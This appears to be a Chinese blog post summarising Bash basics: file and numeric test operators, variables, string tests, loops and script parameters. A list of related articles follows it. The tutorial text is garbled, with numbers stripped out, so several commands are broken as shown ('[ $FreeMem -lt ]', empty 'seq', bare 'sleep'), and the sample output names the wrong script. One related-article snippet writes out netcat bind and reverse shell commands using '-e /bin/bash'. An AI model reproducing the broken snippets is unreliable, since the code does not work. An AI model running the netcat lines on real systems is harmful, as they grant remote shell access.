shell小结
一 判断
-d 测试是否为目录。
-f 判断是否为文件。 -s 判断文件是否为空 如果不为空 则返回0,否则返回1
-e 测试文件或目录是否存在。
-r 测试当前用户是否有权限读取。
-w 测试当前用户是否有权限写入。
-x 测试当前用户是否有权限执行。
语法:
[ -d /etc/fstab ]
且 或 非
&& 逻辑的与,"而且"的意思。
|| 逻辑的或,"或者"的意思。
! 逻辑的否 [ $USER != root ] && echo "user"
[ $USER != root ] && echo "user" || echo "root" -eq 判断是否等于
-ne 判断是否不等于
-gt 判断是否大于
-lt 判断是否小于
-le 判断是否等于或小于
-ge 判断是否大于或等于 [ -gt ]
二 变量
[root@lanny ~]# FreeMem=`free -m | grep cache: | awk '{print $3}'`
验证变量是否已经获得可用内存量:
[root@lanny ~]# echo $FreeMem
告警内存不够用:
[root@lanny ~]# [ $FreeMem -lt ] && echo "Insufficient Memory"
Insufficient Memory
三 字符串
= 比较字符串内容是否相同。
!= 比较字符串内容是否不同。
-z 判断字符串内容是否为空。 ----->从而判断变量是否被定义.
[ -n "$var" ] :判断$var变量是否有值->已经定义?
判断String变量是否为空值: [root@lanny ~]# [ -z $String ] 上一条命令执行成功,说明变量String确实为空值:
[root@lanny ~]# echo $? 输出当前的系统语言:
[root@lanny ~]# echo $LANG
en_US.UTF- 判断当前的系统语言是否为英文,否则输出“不是英语”:
[root@lanny ~]# [ $LANG != "en.US" ] && echo "Not en.US"
Not en.US
四 语句
if then fi
for do done
while do done .1判断语句
if [ -f /home/ ];then
echo ok;
fi
.2循环语句
for i in `seq `;do
echo $i
done while :;do
echo `date`
sleep
done
五 参数:
$? 显示上一条命令的返回值,非0则为失败,即不是目录
$ 第一个参数
[root@lanny ~]# vim test.sh
#!/bin/bash
echo "当前脚本名称为$0"
echo "总共有$#个参数,分别是$*。"
echo "第1个参数为$1,第5个为$5。 [root@lanny ~]# sh test.sh one two three four five six
当前脚本名称为Example.sh
总共有6个参数,分别是one two three four five six。
第1个参数为one,第5个为five。
shell小结的更多相关文章
- 反弹Shell小结
1.NC反弹shell 1.1.正向反弹shell 服务器 nc -lvvp 7777 -e /bin/bash 攻击机 nc server-ip 7777 1.2.反向反弹shell 攻击机 nc ...
- [sh]shell小结
一 判断 -d 测试是否为目录.-f 判断是否为文件. -s 判断文件是否为空 如果不为空 则返回0,否则返回1 -e 测试文件或目录是否存在. -r 测试当前用户是否有权限读取. -w 测试当前用户 ...
- 小鸟初学Shell编程(六)变量赋值
变量的意义 我们在使用Linux命令或脚本的时候,会有一些输出,那么这些输出的信息可以用变量临时存储,以备我们下一条命令或脚本使用. 变量的定义 变量的定义建议用一个有意义的英文单词来代表变量,不要使 ...
- hctf2016 fheap学习(FlappyPig队伍的解法)
目录 漏洞原理 二次释放 如何在第二次释放前修改函数地址 fastbin的特性 修改函数指针流程 如何获得进程的加载基址 格式化字符串漏洞 确定printf函数在代码段中偏移 printf函数输出想要 ...
- Beginning Linux Programming 学习-chapter2-Shell programming-Pipes and Redirection
"为了从事创造性工作,人类需要孤独,可是在孤独中,广义的人类仍存在于内心."--(德国)奥铿 ...
- PHP木马免杀的一些总结
前言 这篇文章写一些php木马免杀的一些技巧,希望对大家有点帮助.这里解释一下什么是php木马,这里大体分为三种: 能完成写入文件.列目录.查看文件.执行一些系统命令等少量功能的,这种的是" ...
- shell脚本中各类括号的作用(小结)
技巧小结: 字符串比较用双中括号[[ ]]:算数比较用单中括号[ ]——左右留空格 算数运算用双小括号(( )) :shell命令及输出用小括号( )——左右不留空格 快速替换用花括号{ }——左右留 ...
- shell 环境变量的知识小结
环境变量的知识小结:·变量名通常要大写.·变量可以在自身的Shell及子Shell中使用.·常用export来定义环境变量.·执行env默认可以显示所有的环境变量名称及对应的值.·输出时用“$变量名” ...
- python中执行shell命令的几个方法小结(转载)
转载:http://www.jb51.net/article/55327.htm python中执行shell命令的几个方法小结 投稿:junjie 字体:[增加 减小] 类型:转载 时间:2014- ...
随机推荐
- [Android]IllegalStateException: Could not find method onBind(View)
FATAL EXCEPTION: main Process: org.diql.aidldemo, PID: 2274 java.lang.IllegalStateException: Could n ...
- 安卓第十四天笔记-内容提供者(ContentProvider)
安卓第十四天笔记-内容提供者(ContentProvider) ContentProvider--内容提供者 1.ContentProvider简介 ContentProvider是不同应用程序之间进 ...
- 基础学习day08---多态、简单工厂、Object类equals和toString
一.多态 1.1.多态概念 定义:某一类事物的多种存在形态. 例:动物中猫,狗. 猫这个对象对应的类型是猫类型:猫 x = new 猫(); 同时猫也是动物中的一种,也可以 ...
- PL/SQL基础2(笔记)
1 第一个PL/SQL的程序 DECLARE BEGIN DBMS_OUTPUT.PUT_LINE('Hello World!'); END; / --2一个简单的PL/SQL程序 DECLARE v ...
- 转 Android--加载大分辨率图片到内存
在使用ImageView显示图片的时候,直接加载一个图片资源到内存中,经常会出现内存溢出的错误,这是因为有些图片的分辨率比较高,把它直接加载 到内存中之后,会导致堆内存溢出的问题.这篇博客就来讲解一下 ...
- Visual Studio发布Web项目报错:Unable to add 'xxx' to the Web site. Unable to add file 'xxx'. The specified file could not be encrypted.
背景 Visual Studio下的Web项目 现象 发布时遇到Unable to add 'xxx' to the Web site. Unable to add file 'xxx'. The ...
- (ios7) 解决Ios7中,Navigatebar 显示在主View中,和ios6 不一致问题
在ios 7 系统中 NavigateBar 显示在主View中 ,Ios6 不在主View中,导致后台代码的方式编写View不一致 解决方法: 在ViewControl的viewDidLoad 方法 ...
- 第一篇 UEditor入门部署和体验
UEditor 是由百度「FEX前端研发团队」开发的所见即所得富文本web编辑器,具有轻量,可定制,注重用户体验等特点,开源基于MIT协议,允许自由使用和修改代码. UEditor富文本编辑器,轻量, ...
- centos6.7 安装Docker
一.查看系统版本 [root@localhost ~]# cat /etc/redhat-release CentOS release 6.7 (Final) 二.安装EPEL 1.进入cento ...
- Maximum Subsequence Sum(接上篇)
Given a sequence of K integers { N1, N2, ..., NK }. A continuous subsequence is defined to be { Ni, ...